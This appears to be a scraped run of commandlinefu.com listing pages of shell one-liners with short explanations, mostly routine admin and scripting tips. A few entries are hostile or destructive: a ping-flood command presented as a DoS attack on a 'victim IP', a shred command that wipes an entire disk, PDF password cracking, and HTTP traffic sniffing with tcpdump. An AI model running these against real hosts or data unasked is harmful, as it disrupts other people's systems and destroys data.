luigi:3052 Open a RemoteDesktop from terminal guid(){ lynx -nonumbers -dump http://www.famkruithof.net/uuid/uuidgen | grep "\w\{8\}-" | tr -d ' '; } Functions: grep tr GUID generator sudo shred -zn10 /dev/sda Functions: shred sudo Shred an complete disk, by overwritting its content 10 times Shred can be used to shred a given partition or an complete disk. This should insure that not data is left on your disk alias ping='ping -n' jon@realbox:~$ time ping -c 1 www.google.com.ar PING www.l.google.com (74.125.229.52) 56(84) bytes of data. 64 bytes from 74.125.229.52: icmp_req=1 ttl=52 time=221 ms --- www.l.google.com ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 221.896/221.896/221.896/0.000 ms real 0m5.412s jon@realbox:~$ alias ping='ping -n' PING www.l.google.com (74.125.229.51) 56(84) bytes of data. 64 bytes from 74.125.229.51: icmp_req=1 ttl=52 time=191 ms rtt min/avg/max/mdev = 191.635/191.635/191.635/0.000 ms real 0m0.195s make ping run a little faster who;ps aux|grep ssh Functions: grep ps who qemu-img create ubuntu.qcow 10G Create ubuntu.qcow image, limit size 10G ‹ First < 292 293 294 295 296 > Last › qemu -cdrom /dev/cdrom -hda ubuntu.qcow -boot d -net nic -net user -m 196 -localtime Open virtual machine in ubuntu.qcow image Boot without CD-Rom: qemu fedora.qcow -boot c -net nic -net user -m 196 -localtime for x in *.ogg; do ffmpeg -i "$x" "`basename "$x" .ogg`.mp3"; done Convert ogg to mp3 Converts all ogg files to mp3 files in the current directory. echo "Set Twitter Status" ; read STATUS; curl -u user:pass -d status="$STATUS" http://twitter.com/statuses/update.xml Improvement of curl + Twitter Modify the script for your username and password, and save it as a script. Run the script, and enjoy ./tweet LC_ALL=C svn info | grep Revision | awk '{print $2}' 397 Functions: awk grep info Outputs current folder svn revision This is the simple revision number on stdout, that can be fed to any useful/fun script of yours. Setting LC_ALL is useful if you use another locale, in which case "Revision" is translated and cannot be found. I use this with doxygen to insert my source files revisions into the doc. An example in Doxyfile: FILE_VERSION_FILTER = "function svn_filter { LC_ALL=C svn info $1 | grep Revision | awk '{print $2}'; }; svn_filter" Share your ideas about what to do with the revision number ! killall rapidly_spawning_process ; killall rapidly_spawning_process ; killall rapidly_spawning_process Use this if you can't type repeated killall commands fast enough to kill rapidly spawning processes. If a process keeps spawning copies of itself too rapidly, it can do so faster than a single killall can catch them and kill them. Retyping the command at the prompt can be too slow too, even with command history retrieval. Chaining a few killalls on single command line can start up the next killall more quickly. The first killall will get most of the processes, except for some that were starting up in the meanwhile, the second will get most of the rest, and the third mops up. python -c "import platform; print platform.node()" brian.intranet.example.com Print your local hostname with python df | grep -w '/media/mountpoint' | cut -d " " -f 1 Functions: cut df grep Identical output but a different way without having to shoot with the Awk cannon :) egrep '(\[error\])+.*(PHP)+' /var/log/apache2/error.log df | grep -w '/media/armadillo' | cut -d " " -f 1 A different way to obtain the same without having "to shoot" with the Awk cannon :) Same output echo "1+2+3+4" | bc Works for any mathematical operation, even converting numbers from one base to another. S=$SSH_TTY && (sleep 3 && echo -n 'Peace... '>$S & ) && (sleep 5 && echo -n 'Love... '>$S & ) && (sleep 7 && echo 'and Intergalactic Happiness!'>$S & ) Peace... Love... and Intergalactic Happiness! [0][gplovr@freeasinfreedom][~](1:4954) Multiple Timed Execution of subshells sleeping in the background using job control and sleep. Ummmm.. Saw that gem on some dead-head hippies VW bus at phish this summer.. It's actually one of my favorite ways of using bash, very clean. It shows what you can do with the cool advanced features like job control, redirection, combining commands that don't wait for each other, and the thing I like the most is the use of the ( ) to make this process heirarchy below, which comes in very handy when using fifos for adding optimization to your scripts or commands with similar acrobatics. F UID PID PPID WCHAN RSS PSR CMD 1 gplovr 30667 1 wait 1324 1 -bash 0 gplovr 30672 30667 - 516 3 \_ sleep 3 1 gplovr 30669 1 wait 1324 1 -bash 0 gplovr 30673 30669 - 516 0 \_ sleep 5 1 gplovr 30671 1 wait 1324 1 -bash 0 gplovr 30674 30671 - 516 1 \_ sleep 7 cat /var/log/httpd/access_log | grep q= | awk '{print $11}' | awk -F 'q=' '{print $2}' | sed 's/+/ /g;s/%22/"/g;s/q=//' | cut -d "&" -f 1 | mail youremail@isp.com -s "[your-site] search strings for `date`" Functions: awk cat grep sed strings It's not a big line, and it *may not* work for everybody, I guess it depends on the detail of access_log configuration in your httpd.conf. I use it as a prerotate command for logrotate in httpd section so it executes before access_log rotation, everyday at midnight. find . -type f -printf %s\\n | numsum pipe into | sed "s/$/\/(1024\*1024\*1024)/" | bc to get size in GB for i in $(seq 1 11) 13 14 15 16; do man iso-8859-$i; done Functions: man seq for i in $(seq 1 11) 13 14 15 16; do opera http://www.kernel.org/doc/man-pages/online/pages/man7/iso_8859-$i.7.html; done for file in $(ls /usr/bin ) ; do man -w $file 2>> nomanlist.txt >/dev/null ; done No manual entry for kwsdl_compiler No manual entry for kxforms No manual entry for kxkb No manual entry for kxml_compiler No manual entry for kxsconfig No manual entry for kxsrun No manual entry for lav2avi.sh No manual entry for lavaddwav No manual entry for lavinfo No manual entry for lavtc.sh Functions: file ls man Get a list of commands for which there are no manpages This takes quite a while on my system. You may want to test it out with /bin first, or background it and keep working. If you want to get rid of the "No manual entry for [whatever]" and just have the [whatever], use the following sed command after this one finishes. sed -n 's/^No manual entry for \(.*\)/\1/p' nomanlist.txt find . -name "*.php" -print0 | xargs -0 grep -i "search phrase" xargs avoids having to remember the "{} \;" (although definitely a useful thing to know. Unfortunately I always forget it). xargs version runs 2x faster on my test fwiw. edit: fixed to handle spaces in filenames correctly. ps -eo pid,args | grep -v grep | grep catalina | awk '{print $1}' Get pid of running Apache Tomcat process sed -i 's/\t/ /g' yourfile dumpe2fs -h /dev/sdX Functions: dumpe2fs You are probably aware that some percent of disk space on an ext2/ext3 file system is reserved for root (typically 5%). As documented elsewhere this can be reduced to 1% with tune2fs -m 1 /dev/sdX (where X = drive/partition, like /dev/sda1) but how do you check to see what the existing reserved block percentage actually is before making the change? You can find that with You get a raw block count and reserved block count, from which you can calculate the percentage. In the example here you can easily see that it's currently 1%, so you won't get any more available space by setting it to 1% again. FYI If your disks are IDE instead of SCSI, your filesystems will be /dev/hdX instead of /dev/sdX. for i in *; do file "$i" | grep -Fqw "ELF" && rm "$i"; done Functions: file grep rm This loop can deletes only ELF binaries in a directory. This is particularly useful when cleaning out file compiled after a make command. (Thanks for comments to do it in a better way!) mkdir -p /cdrom/unnamed_cdrom ; mount -F hsfs -o ro `ls -al /dev/sr* |awk '{print "/dev/" $11}'` /cdrom/unnamed_cdrom Functions: awk mkdir mount Mount a CD-ROM on Solaris (SPARC) This will allow you to mount a CD-ROM on Solaris SPARC 9 or lower. This will not work on Solaris 10 due to void and the volume management daemons. sudo mount -t cifs //$ip_or_host/$sharename /mnt Mount a Windows share on the local network (Ubuntu) Mount a Windows share. Usually the IP is needed for the $ip_or_host option. Getting hostnames working on a local network never seems to work. /sbin/ifconfig eth0 | grep 'inet6 addr:' | awk {'print $3'} Get IPv6 of eth0 for use with scripts ls -ltp | grep -v '/$' | head -n1 Functions: grep head ls Show the single most recently modified file in a directory wrap it in a function if you like... lastfile () { ls -ltp | grep -v '/$' | head -n1 } CPU model ‹ First < 293 294 295 296 297 > Last › rsync -avvvz -e "ssh -i /root/.ec2/id_rsa-gsg-keypair" --archive --progress /root/.ec2/id_rsa-gsg-keypair root@ec2-75-101-212-113.compute-1.amazonaws.com:/root Connect EC2 server with public keys "/root/.ec2/id_rsa-gsg-keypair" or "/root/.ec2/keypair.pem" alias cd='pushd'; alias cd-='popd' Alias cd to record your directory travelling You know there 'cd -' to go to the previous directory you were standing before, but it will no record more than one. With these alias you can now record all your directory changes and go back whenever you need it. However you will have to get accustomed to use 'cd ~' from now on to go to your home directory. for fn in xkcd*.png xkcd*.jpg; do echo $fn; read xw xh <<<$(identify -format '%w %h' $fn); nn="$(echo $fn | sed 's/xkcd-\([^-]\+\)-.*/\1/')"; wget -q -O xkcd-${nn}.json http://xkcd.com/$nn/info.0.json; tt="$(sed 's/.*"title": "\([^"]\+\)",.*/\1/' ... Functions: echo read wget add title and alt-text to your collection of xkcd comics full command: for fn in xkcd*.png xkcd*.jpg; do; echo $fn; read xw xh <<<$(identify -format '%w %h' $fn); nn="$(echo $fn | sed 's/xkcd-\([0-9]\+\)-.*/\1/')"; wget -q -O xkcd-${nn}.json http://xkcd.com/$nn/info.0.json; tt="$(sed 's/.*"title": "\([^"]*\)", .*/\1/' xkcd-${nn}.json)"; at="$(sed 's/.*alt": "\(.*\)", .*/\1/' xkcd-${nn}.json)"; convert -background white -fill black -font /usr/share/fonts/truetype/freefont/FreeSansBold.ttf -pointsize 26 -size ${xw}x -gravity Center caption:"$tt" tt.png; convert -background '#FFF9BD' -border 1x1 -bordercolor black -fill black -font /usr/share/fonts/truetype/freefont/FreeSans.ttf -pointsize 16 -size $(($xw - 2))x -gravity Center caption:"$at" at.png; th=$(identify -format '%h' tt.png); ah=$(identify -format '%h' at.png); convert -size ${xw}x$(($xh+$th+$ah+5)) "xc:white" tt.png -geometry +0+0 -composite $fn -geometry +0+$th -composite at.png -geometry +0+$(($th+$xh+5)) -composite ${fn%\.*}_cmp.png; echo -e "$fn $nn $xw $xh $th $ah \n$tt \n$at\n"; this assumes that all comics are saved as xkcd-[number]-[title].{png|jpg}. it will then download the title and alt-text, create pictures from them, and put everything together in a new png-file. it's not perfect, but it worked for nearly all my comics. it uses the xkcd-json-interface. though it's poorly written, it doesn't completely break on http://xkcd.com/859/ apt-show-versions -u libeel0/unstable upgradeable from 1.0.2-5 to 1.0.2-7 libeel-data/unstable upgradeable from 1.0.2-5 to 1.0.2-7 apt-show-versions is a program that shows what packages in the system may be updated and several useful information. The -u option displays a list of upgradeable packages: From: http://www.debian.org/doc/manuals/apt-howto/ch-helpers.en.html ifconfig eth0 | grep 'HWaddr' | awk '{print $5}' mac address for eth0 netstat -an | grep -i listen show open ports on computer From 'man netstat' "netstat -i | -I interface [-abdnt] [-f address_family] [-M core] [-N system] Show the state of all network interfaces or a single interface which have been auto-configured (interfaces statically configured into a system, but not located at boot time are not shown). An asterisk (``*'') after an interface name indicates that the interface is ``down''. If -a is also present, multicast addresses currently in use are shown for each Ethernet interface and for each IP interface address. Multicast addresses are shown on separate lines following the interface address with which they are associated. If -b is also present, show the number of bytes in and out. If -d is also present, show the number of dropped packets. If -t is also present, show the contents of watchdog timers." function fur () { curl -sL 'http://www.commandlinefu.com/commands/random/plaintext' | grep -v "^# commandlinefu" } command line fu roulette, without all the excessive parsing IFS=?" ; for i in * ; do mv -v $i `echo $i|tr ???????????????????\ aaaeeiooAAAEEIOOOcC_` ; done Removing accents in name files ls -lFart |tail -n1 List all files in a directory in reverse order by modified timestamp. When piped through tail the user will see the most recent file name. cat /dev/zero > /dev/null & put nothing nowhere Just waste some resources in a philosophical way makepasswd --char=32 rI0Q9dcztMBb0DXDT0hJrQyta9r19HDY Generate a random password 32 characters long :) A more robust password creation utility # Create passwords in batch makepasswd --char=32 --count=10 # To learn more about the options you can use man makepasswd lynx -source http://www.commandlinefu.com/commands/random | sed 's/<[^>]*>//g' | head -1037 | tail -10 | sed -e 's/^[ \t]*//' | sed '/^$/d' | head -2 Terminal - runs a bash script in debugging mode bash -x ./post_to_commandlinefu.sh print random commandlinefu.com submission ok I'm sure it's not pretty watch -tn1 'date -u +%T -d @$(expr $(date -d HH:MM +%s) - $(date +%s)) | toilet -f bigmono12' Functions: date expr watch big countdown clock with hours, minutes and seconds Change HH:MM with your target time. This is for a Debian/Ubuntu GNU system. You need bash (package bash), date (package coreutils) and toilet (package toilet). Install with: # apt-get install bash coreutils toilet toilet-fonts find . -depth \( -path '*/*.java.orig' -o -path '*/*.java.orig/*' \) -delete Recursively remove all '.java.orig' directories (scalable) find . -name "*.pyc" -exec rm {} \; For a python project, sometimes I need to clean all the compiled python files. I have an alias 'rmpyc' to this command. This really saves me a lot of typing and hunting throughout the folders to delete those files. grep -r 'keyword keyword2' your/path/ | grep -v svn find a word in multiple files avoiding svn this command searches for a keyword or an expression in a path and avoids versionned files TODAY=`date +"%b %d"`;ls -l | grep "$TODAY" | awk '{print $9}' mount | grep : | tr -s ' ' -d 3 | xargs umount -v Functions: grep mount tr umount xargs copy(){ cp -v "$1" "$2"&watch -n 1 'du -h "$1" "$2";printf "%s%%\n" $(echo `du -h "$2"|cut -dG -f1`/0.`du -h "$1"|cut -dG -f1`|bc)';} Functions: cp cut echo ls -F | sed -n 's/@$//p' echo sleep() begins: %TIME% && FOR /l %a IN (10,-1,1) do (ECHO 1 >NUL %as&ping -n 2 -w 1 127.0.0.1>NUL) && echo sleep() end: %TIME% sleep() begins: 15:37:49,76 sleep() end: 15:37:49,76 Enable 'sleep' function in Windows environment where this does not exist, although not exact in time. (there is a delay for each ping) This is a simple way to separate commands with a time-period. find . -type d -name "*TestDir*" | wc -l Count total number of subdirectories in current directory starting with specific name. A simple command to find the total number of subdirectories in current directory starting with specific name. find . -type f|perl -lne '@x=sort {$b->[0]<=>$a->[0]}[(stat($_))[7],$_],@x;splice(@x,11);print "@{$x[0]}";END{for(@x){print "@$_"}' 4833673216 ./Downloads/gnome-2.29.20091103-x86/gnome-2.29.20091103-x86.vmdk A different approach to the problem - maintain a small sorted list, print the largest as we go, then the top 10 at the end. I often find that the find and sort take a long time, and the large file might appear near the start of the find. By printing as we go, I get better feedback. The sort used in this will be much slower on perls older than 5.8. nl filename | more The nl command lists the contents of a file where is each line is prefixed by a line number. For more information about this command, check out its man page. I tested under Mac OS X and Xubuntu 9.04 ‹ First < 294 295 296 297 298 > Last › printf "%.50d" 0 | tr 0 - ls -l | sed -e 's/--x/1/g' -e 's/-w-/2/g' -e 's/-wx/3/g' -e 's/r--/4/g' -e 's/r-x/5/g' -e 's/rw-/6/g' -e 's/rwx/7/g' -e 's/---/0/g' /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -kill -r -domain local -domain system -domain user Contextual Menu Cleanup (OSX) ifconfig | grep "inet\ " | grep -v "127.0" | sed -e 's/inet\ addr://g' | sed -e 's/Bcast:/\ \ \ \ \ \ \ /g' | cut -c 1-29 | sed -e 's/\ //g' Functions: cut grep ifconfig sed short enough to be tweetable kill -HUP ` ps -aef | grep -i firefox | sort -k 2 -r | sed 1d | awk ' { print $2 } ' ` Imaging a Firefox window disappearing :-) (It kills the hanging firefox process.) Functions: awk grep kill ps sed sort UNIX one-liner to kill a hanging Firefox process The description of how the one-liner works is here at my blog: http://jugad2.blogspot.com/2008/09/unix-one-liner-to-kill-hanging-firefox.html sudo iptables-restore < /etc/iptables.test.rules Functions: iptables-restore sudo If you don't save the rule set it won't be applied during a reboot ls -la | grep $(date +%Y-%m-%d) | egrep -v -e '\.{1,2}' | sed "s/.*\:[0-9]\{2\} \(.\+\)$/\\1/g" Functions: date egrep grep ls sed echo "test" | sed 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' TEST Lowercase to Uppercase Convert text from lowercase to uppercase for f in *; do clear; cat $f; sleep .3; done Functions: cat sleep Cat files in a directory; for loop command The better alternative to #9756. I don't think I'd ever use the original command, but this one was so bad I had to post this. Sorry. 1. $(ls) is dumb, and will give errors if you have an alias like "ls -Fs" 2. clear is better and more portable than reset state. 3. if you're interested in differences, then use diff, not cat. eog `curl 'http://xkcd.com/' | awk -F "ng): |</h" '/embedding/{print $2}'` Shorter version with curl and awk find ./ -name $1 -exec grep -H -n $2 '{}' ';' grep lm /proc/cpuinfo flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm nx lm determine if CPU is 32-bit or 64-bit If the 'lm' flag is present, then the CPU is 64-bit. If no output, then CPU is 32-bit. netstat | grep EST | awk '{print $5}' | sort Functions: awk grep netstat Sometimes I need a quick visual way to determine if there is a particular server who is opening too many connections to the database machine. $grep -hIr -m 1 em:name ~/.mozilla/firefox/*.default/extensions|sed 's#\s*##'|tr '<>=' '"""'|cut -f3 -d'"'|sort -u Abduction! Add N Edit Cookies Add to Search Bar All-in-One Sidebar Autocomplete Manager with grep for em:name rather than name, you will get much better result. ssh -g -L 8080:localhost:80 root@$HOST Forward connections Forward connections to $HOSTNAME:8080 out to $HOST:80 for file in ./*; do cat "$file"; sleep 0.3 Functions: cat file sleep Original submitted version would break if any filenames had whitespaces in them. The command is a Bad Idea anyhow, because you will end up `cat`ing a binary or something else specacularly bad. cd /path/to/pmwiki/wiki.d;/bin/ls -1 | perl -ne 'my ($group,$name)=split(/\./);$counts{$group}++;' -e 'END { foreach $group (sort keys %counts) {printf("%d\t%s\n",$counts{$group},$group);} }'|sort -rn 217 Main 212 Twiki 108 Recipes 25 Category 21 Site 13 Profiles 11 RonR 9 Garbage 7 Tam 6 Templates 5 SiteAdmin 4 PmWiki Functions: cd perl sort Group page count in pmwiki data base PmWiki stores wiki pages as Group.Name. Simply split the directory listing and count frequency of group occurances. echo Y29tbWFuZGxpbmUuZnUgcm9ja3MK | base64 -d commandline.fu rocks Base64 decode php -i|grep -i max root@omg ~]# php -i|grep -i max log_errors_max_len => 1024 => 1024 max_execution_time => 0 => 30 max_input_nesting_level => 64 => 64 max_input_time => -1 => 60 post_max_size => 32M => 32M upload_max_filesize => 2M => 2M session.gc_maxlifetime => 1440 => 1440 Show "Max" settings for PHP Show the maximum settings in effect for PHP at the command line. rm -rf `find . -name .svn` Recursively remove .svn directories from the current location. wget http://www.whatismyip.org --quiet -O - | cat ntfsresize --size X[k,M.G] /dev/hda1 resize a NTFS partition With this command you can resize an NTFS partition by specifying the new size (X) in Kbytes, Mbytes or Gbytes. If you plan to do this it is advisable to precede --no-action parameter to size see more: http://ubuntuforums.org/showthread.php?t=1244058 http://en.wikipedia.org/wiki/Ntfsresize find path/to/folder/ -type f -print0 | xargs -0 -n 1 md5sum | awk '{print $1}' | sort | md5sum | awk '{print $1}' 798231bfb8892963eddffda0deb6b381 Functions: awk find md5sum sort xargs Calculates fake folder checksum based on folder's files' md5sums For quick validation of folder's file-contents (structure not taken into account) - I use it mostly to check if two folders' contents are the same. 7za x \*.zip ‹ First < 295 296 297 298 299 > Last › sed 's/$'"/`echo \\\r`/" convert Unix newlines to DOS newlines lynx --dump "http://checkip.dyndns.org" w3m miip.cl | grep ip See external ip with w3m, simple and fast. On a web site from Chile (spanish). echo "Starting Daemon"; ( while :; do sleep 15; echo "I am still running =]"; done ) & disown -h $! You don't want the -ar parameters in this case. The man page for BASH_BUILTINS(1) states: "-a option means to remove or mark all jobs" and "-r option without a jobspec argument restricts operation to running jobs" In this case we are supplying the process id of the job to disown so neither of these should be used. alias cdc='cd `pwd -P`' cd canonical (resolve any symlinks) sar -g 5 5 example usage of sar w3m http://amit-agarwal.co.in/mystuff/getip_txt.php will return the ip in text format. 122.167.6.97 Functions: return See more details at http://blog.amit-agarwal.co.in/2008/12/01/get-you-ip-address-like-whatismyipcom/ ls -1 | while read file; do new_file=$(echo $file | sed s/\ //g); mv "$file" "$new_file"; done Functions: echo ls mv read sed File names with spaces may cause problems, this command could help to avoid that. sudo tcpdump -i en1 -n -s 0 -w - | grep -a -o -E "Host\: .*|GET \/.*" GET /services/rest/news/new/?stamp=1238809183049 HTTP/1.1 Host: www.qbn.com Host: news.bbc.co.uk GET /services/rest/news/new/?stamp=1238809185049 HTTP/1.1 Functions: grep sudo tcpdump Show live HTTP requests being made on OS X Replace "en1" with your network interface (on OS X, usually en0, en1, eth0, etc..) mysql -u user-name -p password < script.sql nothing output...^_^ the sql script operating mysql by sql script. < /dev/urandom tr -dc A-Za-z0-9_ | head -c $((1024 * 1024)) | tee >(gzip -c > out.gz) >(bzip2 -c > out.bz) > /dev/null $ \ls -l out* -rw-r--r-- 1 chillu users 789711 2009-04-04 19:01 out.bz -rw-r--r-- 1 chillu users 789947 2009-04-04 19:01 out.gz Functions: bzip2 gzip head tee tr gzip vs bzip2 at compressing random strings? cat /sys/devices/virtual/dmi/id/board_name Pangolin Performance What Type of Computer Do You Have? Prints the type of computer you have. I think this should be used more in distros and other applications because it is so easy to get. This can also be asked by tutorials as an easy way to get your base hardware. Some alternatives: sudo dmidecode -s system-product-name sudo smbios-sys-info-lite | sed -n 's/^Product Name: *\(.*\)/\1/p' sfdisk /dev/sdb <(sfdisk -d /dev/sda| perl -pi -e 's/sda/sdb/g') *as long as the drives are exactly the same* then this command copies the partition table on /dev/sda to /dev/sdb /sbin/ifconfig|grep -B 1 inet |head -1 | awk '{print $5}' Functions: awk grep head Find MAC address of Active Eth connection It takes a few seconds until it has figured out your public ip address. You need to have 'curl' installed of course. tar -C <source> -cf - . | tar -C <destination> -xf - find . -name "*.gz" | xargs -n 1 -I {} bash -c "gunzip -c {} | sort | gzip -c --best > {}.new ; rm {} ; mv {}.new {}" Functions: bash find xargs Rezip a bunch of files I used this because I needed to sort the content of a bunch of gzipped log files. Replace sort with something else, or simply remove sort to just rezip everything ifconfig | grep -o "inet [^ ]*" | cut -d: -f2 This is what we use. You can grep -v 127.0.0.1 if you wish. netstat has two lines of headers: Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State Added a filter in the awk command to remove them sed "s/\x00/ /g" /proc/!([^0-9]*|$$)/cmdline init [5] /usr/local/bin/synergyc -f /usr/bin/autocutsel -fork /usr/bin/autocutsel -selection PRIMARY -fork /usr/bin/urxvtd -o -f strace -f -s1000 -v -c sh -Bc sed "s/\x00/ /g" /proc/!([^0-9]*|$$)/cmdline /usr/bin/atop -a -w /var/log/atop/atop_20120115 600 /usr/bin/tmux -2 attach-session -d -t galileo /lib/udev/udevd --daemon supervising syslog-ng /usr/sbin/syslog-ng /usr/sbin/sshd /usr/sbin/crond -S -l info /sbin/agetty -8 -s 57600 tty1 screen-256color /usr/bin/slim /usr/bin/X -nolisten tcp vt07 -auth /var/run/slim.auth /usr/bin/ratpoison Show Cmdlines for All Processes Cheaply Showing off the fastest way I know how to grab the cmdlines of the currently running processes. And also how to use brace/path/variable expansion. This will work even better: bash -O extglob -Bc 'sed "s/\x00/ /g" /proc/!([^0-9]*|$$)/cmdline' Or a simple alias: alias cmdlines="sudo sed '/.\{1,\}/!d; s/\x00/ /g' /proc/[0-9]*/cmdline 2>/dev/null" Or bash Here is a more advanced version that doesnt show processes spawnd by this command: sudo bash -O extglob -Bc 'eval sed "/.../!d\;s/\\\x00/\ /g" /proc/!($PPID|$$|[^0-9]*)/cmdline' Or even more: sudo bash -O extglob -Bc 'eval sed "/.../!d\;s/\\\x00/\ /g" /proc/!($(($$+1))|$PPID|$$|[^0-9]*)/cmdline' See also: http://www.commandlinefu.com/commands/view/6871/view-all-processess-cmdlines-and-environments (older version of this/extended). From my .bash_profile at http://www.askapache.com/ command > tmp && cat logfile.txt >> tmp && tmp > logfile.txt && rm tmp Functions: cat command rm Append output to the beginning of a file. Adds the stdout (standard output) to the beginning of logfile.txt. Change "command" to whatever command you like, such as 'ls' or 'date', etc. It does this by adding the output to a temporary file, then adding the previous contents of logfile.txt to the temp file, then copying the new contents back to the logfile.txt and removing the temp file. CTRL + e Go to end of current command line ps auxwww | grep outofcontrolprocess | awk '{print $2}' | xargs kill -9 kill all instances of an annoying or endless, thread-spawning process kill -9 $(pidof process) Kills all processes for a certain program ls -rl --time-style=+%s * | sed '/^$/,/^total [0-9]*$/d' | sort -nk6 Functions: ls sed sort Here's a version that doesn't use find. ‹ First < 296 297 298 299 300 > Last › pdfcrack <FILE> Find lost passwords of PDFs files See http://sourceforge.net/projects/pdfcrack/files/pdfcrack/pdfcrack-0.10/ For debian and ubuntu : sudo apt-get install pdfcrack find . -type f | sed 's,.*,stat "&" | egrep "File|Modify" | tr "\\n" " " ; echo ,' | sh | sed 's,[^/]*/\(.*\). Modify: \(....-..-.. ..:..:..\).*,\2 \1,' | sort Functions: echo egrep find sed sh tr Find files and list them with a readable informative output for FILE in `ls -1`; do if [ -L "$FILE" ]; then cp $(readlink "$FILE") ${FILE}_rf; rm -f $FILE; mv ${FILE}_rf "$FILE"; fi; done Functions: cp mv readlink rm Convert all the symbolic links in $PWD to copies of the referenced files echo "Xc" | tr "Xo" "\033\017 reset the bizzarre gone junk terminal to normal kquitapp plasma KDE4 is great, but still a bit buggy, and sometimes plasma requires to be restarted. Instead of quitting it with "killall plasma", which might loose your preferences (widgets, etc.), kquitapp will cleanly quit it. Tip: you can type this in the "Alt+F2" window, and then type "plasma" in Alt+F2 again to restart plasma (be patient though...). find $DIR -name *.php -exec vim -u NONE -c 'set ft=php' -c 'set shiftwidth=4' -c 'set tabstop=4' -c 'set noexpandtab!' -c 'set noet' -c 'retab!' -c 'bufdo! "execute normal gg=G"' -c wq {} \; Replace spaces with tabs & format file source recursuvely within a directory The sample command searches for PHP files replacing tabs with spaces. -u NONE # don't use vimrc retab! one may pass retab! 4 for instance. Look at this http://susepaste.org/69028693 also setenv GREP_COLOR '1;37;41' color grep with specification of colors with GREP_COLOR env variable find . -type d -name DIR -exec rm -r {} \; Recursively deletes DIR directories You can use this command to delete CVS/svn folders on given project. $class=ExampleClass; $path=src; for constant in `grep ' const ' $class.php | awk '{print $2;}'`; do grep -r "$class::$constant" $path; done Find all uses of PHP constants in a set of files find . -type f | xargs ls -ltrhg $ find tmp/ -type f | xargs ls -ltrhg -rw-r--r-- 1 emacs 4.9K 2010-05-24 13:53 tmp/chunkmemoryallocator.h -rwxr-xr-x 1 emacs 5.9K 2010-05-24 14:11 tmp/global.h -rw------- 1 emacs 12K 2010-05-24 14:21 tmp/.test.txt.swp -rw-r--r-- 1 emacs 744 2010-05-24 14:33 tmp/test.txt -rwxr-xr-x 1 emacs 39K 2010-05-24 14:45 tmp/loganalyzer -rw-r--r-- 1 emacs 2.3K 2010-05-24 15:55 tmp/loganalyzer.cpp -rw-r--r-- 1 emacs 1.5K 2010-05-24 16:41 tmp/browser.py find and normal files and list them sorting with modification time without group l: with detailed information t: sort with modification time r: reverse order h: show file's size in human-readable format, such as K(kilobytes), M(megabyes) etc. g: do not show group curl -s http://whatthecommit.com/ | tr -s '\n' ' ' | grep -so 'p>\(.*\)</p' | sed -n 's/..\(.*\)..../\1/p' No changes made #Sample Usage: # git commit -m"Jira #404 - `whatthecommit`" for d in $(find . -maxdepth 1 -type d -name '[^.]*'); do cd "$d"; svn up; cd ..; done Authentication realm: <https://foo.com:443> foo-project Password for 'foodoo': At revision 221. Functions: cd find If you have a directory with many working copies of various subversion projects and you want to update them all at once, this one may be for you. ls -i1 filename Identify files uniquly in a FS with inode numer passpdf(){ for i; do qpdf --password=<YOUR PASSWD> --decrypt "$i" "new$i"; done; } Function to remove a password from a PDF You should install qpdf. That way, you can have a copy without any password required. find -D rates . -name "*.mp3" -type f Buscar archivos con la extension mp3 y mostrar el conteo de resultados sort file1 file2 | uniq -d print members both in file1 and file2 alias cn='cat > /dev/null' cn paste in code or data that will not cause issues, make your terminal unreadable or actually rm -rf / hit a <ctrl+c> or a <ctrl+d> when you are done pasting to get your prompt back An alias for pasting code/data into terminal without it doing anything. Add to .bashrc cn stands for "Cat Null" The idea is that sometimes you run across something on maybe a webpage - like commandlinefu - that you want to try out on your terminal. You could put a '#' in and then paste it, but what if it is several lines? This command will echo the pasted characters to the screen and divert them to the bit bucket. Put this simple alias in your .bashrc, hit cn, paste away, and hit a ctrl+c or a ctrl+d when you are done to get your prompt back. for i in `grep -n "SomeRegEx" foo.txt | sed 's/:/ /' | awk '{print $1}'`; do echo "head -n `echo "$i+4" | bc` foo.txt | tail -n 5"; done > headsandtails.sh Read multiple lines of a file based on regex matching a single line Finds the line number matching the regex, then passes that to BC for some math, passes that to head, and uses tail to trim off the unwanted section at the top. The whole thing is spit out to a script that can then be shared or run. Comes in handy for reading select sections from error logs. cgrep() { GREP_COLOR="1;3$((RANDOM%6+1))" grep --color=always "$@" } Randomize GNU grep's color Randomize GNU grep's colors 31-36 excluding black and white. alias acs='apt-cache search' Fast searh Ubntu software repo wget -H -r ?level=1 -k -p http://www.domain.com/folder/ wget ? server to server files transfer sudo ping -f -s 56500 192.168.1.100 Functions: ping sudo Ping flood A ping flood is a simple DoS attack where the attacker overwhelms the victim with ICMP Echo Request (ping) packets. It only succeeds if the attacker has more bandwidth than the victim (for instance an attacker with a DSL line and the victim on a dial-up modem). In this command replace 192.168.1.100 with victim IP address. kded --version | awk -F: 'NR == 2 {print $2}' | sed 's/\s\+//g' 3.5.10 kded --version return this Qt: 3.3.8b KDE: 3.5.10 KDE Daemon: $Id: kded.cpp 711061 2007-09-11 09:42:51Z tpatzig $ awk -F: ................. Awk Field separator NR == 2 ................. Register Number, second line {print $2} ............... second field sed 's/\s\+//g' .......... remove one space or more \s\+ changing by nothing long_command; say I am all done MAC OS X: audible notification after a long command I often run some command that takes a while to finish. By putting the say command afterward, I get an audio notification. Please note that this command (say) only works on Mac OS X and not Linux. ‹ First < 297 298 299 300 301 > Last › cryptmount -m <name> In order to create a new encrypted filing system managed by cryptmount, $dd if=/dev/zero of=/home/opaque.fs bs=1M count=512 itself, we can execute, as root: $cryptmount --generate-key 32 opaque $cryptmount --prepare opaque $mke2fs /dev/mapper/opaque $cryptmount --release opaque $mkdir /home/crypt $cryptmount -m opaque $cryptmount -u opaque Create & mount 'encrypted filesystem' on a partition or file In order to create a new encrypted filing system managed by cryptmount, you can use the supplied 'cryptmount-setup' program, which can be used by the superuser to interactively configure a basic setup. Alternatively, suppose that we wish to setup a new encrypted filing system, that will have a target-name of "opaque". If we have a free disk partition available, say /dev/hdb63, then we can use this directly to store the encrypted filing system. Alternatively, if we want to store the encrypted filing system within an ordinary file, we need to create space using a recipe such as: dd if=/dev/zero of=/home/opaque.fs bs=1M count=512 